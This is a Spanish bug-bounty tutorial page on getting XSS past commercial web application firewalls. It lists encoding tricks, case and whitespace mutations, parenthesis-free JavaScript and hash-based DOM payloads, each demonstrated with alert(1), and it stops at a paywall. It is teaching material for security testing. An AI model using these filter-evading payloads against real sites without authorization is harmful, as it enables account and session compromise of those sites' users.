Nivel AvanzadoPremium

XSS WAF bypass — encoding, parser differentials, case-only mutations

Técnicas de bypass WAF para XSS: HTML entities, hex/decimal/unicode encoding, parser differentials (browser vs WAF), comments injection, case variations, JS template literals.

Gorka El Bochi11 de mayo de 202616 min

Deja de leer sobre bugs y empieza a cazarlos

Sin tarjeta · Academy gratis · cancela cuando quieras

Crear cuenta gratis

Respuesta rápida

Los WAFs comerciales (Cloudflare, Akamai, AWS WAF, Imperva) bloquean XSS con reglas signature-based: <script, onerror=, alert(, javascript:. Bypass pasa por parser differential (WAF parsea X, browser parsea Y), encoding asimétrico (HTML entities decoded post-WAF), mutaciones de case y whitespace y construcciones JS modernas (template literals, optional chaining, getters). La regla de oro: el WAF mira bytes, el browser ejecuta semántica.


El principio — parser differential

WAF y browser hablan idiomas distintos. El WAF normaliza la request antes de aplicar reglas. El browser parsea después de la normalización del server. Si las dos pipelines difieren en una posición, hay hueco.

PayloadWAF lo ve comoBrowser lo ejecuta
<script>alert(1)</script><script> tag (bloquea)Igual
<scrIpt>alert(1)</scrIpt>Tag legítimo si case-sensitiveEjecuta (HTML es case-insensitive)
<script/x>alert(1)</script>Posible bypass de regex que espera <script>Ejecuta
<svg/onload=alert(1)>El WAF puede no contemplar / como separadorBrowser lo acepta como atributo
<img src=x onerror=alert(1)>BloqueadoBloqueado
<img src=x onerror="alert(1)">IdemIdem
<img src=x onerror=alert\x281\x29>Hex en bytes confunde regexBrowser ejecuta alert(1)

Encoding asimétrico — HTML entities

El browser decoda HTML entities (&#x61; → a) dentro del DOM, no en URL params. Si el WAF inspecciona la URL crudo pero el server reflexiona el valor en HTML attribute context, las entities pasan:

ini
<a href="USER_INPUT">

USER_INPUT = javascript&#58;alert&#40;1&#41;

El WAF buscando javascript: no lo ve (javascript&#58;). El browser, al renderizar, decoda → javascript:alert(1) ejecuta.

Variantes de encoding

EncodingEjemploContexto donde decoda
HTML entity decimal&#106;avascript:Attribute value (href, src)
HTML entity hex&#x6a;avascript:Attribute value
HTML entity named&NewLine; (CR)Algunos contextos antiguos
URL encode single%3Cscript%3EURL params decoded por server
URL encode double%253Cscript%253ESi el server decoda 2 veces
Unicode JS escape<script>Dentro de string JS
Hex JS escape\x3cscript\x3eIdem
UTF-7+ADw-script+AD4-XML/IE histórico, casi muerto

Doble decoding trap

Apps que decodan URL params dos veces (Java Spring, algunas Node middlewares mal configuradas):

perl
?q=%253Cimg%2520src%253Dx%2520onerror%253Dalert(1)%253E
   ↑ WAF decoda una vez → "%3Cimg%20src%3Dx..." (sin tags ejecutables)
   ↑ Server decoda otra vez → "<img src=x onerror=alert(1)>"

WAF no ve nada peligroso. Server inyecta tag ejecutable.


Mutaciones de case y whitespace

html
<sCRipT>alert(1)</sCRipT>          <!-- Case insensitive en HTML -->
<script\t>alert(1)</script>         <!-- Tab como whitespace -->
<script\r\n>alert(1)</script>       <!-- CRLF -->
<script\x00>alert(1)</script>       <!-- NUL byte (algunos parsers) -->
<script/random=ignored>alert(1)</script>  <!-- Slash + atributo random -->
<script ~='@'>alert(1)</script>     <!-- Whitespace + atributo char raro -->

<svg/onload=alert(1)>               <!-- Slash en vez de espacio -->
<svg onload =alert(1)>              <!-- Espacio antes del = -->
<svg onload	=	alert(1)>            <!-- Tabs alrededor del = -->
<svg onload=&#x61;lert(1)>          <!-- Entity dentro del atributo -->
<svg/onload=alert/**/(1)>           <!-- Comentario JS dentro de la call -->
<svg onload="alert`1`">              <!-- Template literal en vez de paréntesis -->

JS modernas — sin paréntesis ni comillas

WAFs simples bloquean alert(, eval(, ( literal. Bypass con template literals (ES6+):

javascript
alert`1`                    // Llama alert con tagged template
eval`alert\x281\x29`        // Hex escape para los paréntesis
Function`alert\x281\x29```  // IIFE

Sin alert literal:

javascript
top["al"+"ert"](1)          // String concatenation
top["\x61\x6c\x65\x72\x74"](1)
window[/al/.source + /ert/.source](1)
self[atob('YWxlcnQ=')](1)   // base64 decode

Sin paréntesis y sin template literals:

javascript
location='javascript:alert\x281\x29'    // location asignación
onerror=alert;throw 1                    // throw como caller

onerror=alert;throw 1 es uno de los más cortos y bypassea WAFs que buscan alert(.


DOM-level mutations

Cuando el target es DOM XSS (no reflejado server-side), el WAF puede no inspeccionar el fragment # (no se envía al server). Payload completo va en el hash:

php-template
https://target.com/page#<img src=x onerror=alert(1)>

WAF jamás lo ve. Solo se requiere que el JS client-side lea location.hash y lo meta en un sink.

Sigue leyendo el chain completo

La parte que falta incluye el PoC paso a paso, código de explotación y la cadena completa que llevó al impacto. Disponible para suscriptores.

Gratis · sin cuenta

La checklist que repaso en cada objetivo nuevo

47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.

Te das de baja en un clic, desde cualquier correo.

Practica esto en un lab

Cloudflare Waf Bypass

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta

Artículos relacionados

2.786

hunters entrenando

63

labs de hackeos reales

1.767

completaciones

$14.790

pagados por estos bugs

37 flags capturadas esta semana·Hackeos reales de HackerOne · YesWeHack · Bugcrowd·Sin permanencia·Academy gratis

La comunidad

Esto no es una plataforma con usuarios.Es gente rompiendo lo mismo que tú.

Dentro se pregunta, se enseña lo que se ha encontrado y se resuelve en grupo lo que atascaría a cualquiera solo. Se entra gratis: sin cuenta, sin plan y sin dejar el correo.

Entrar a la comunidad de BBLABS en Discord
Entrar al Discord

Es gratis y abierto. No hace falta tener cuenta en BBLABS para entrar.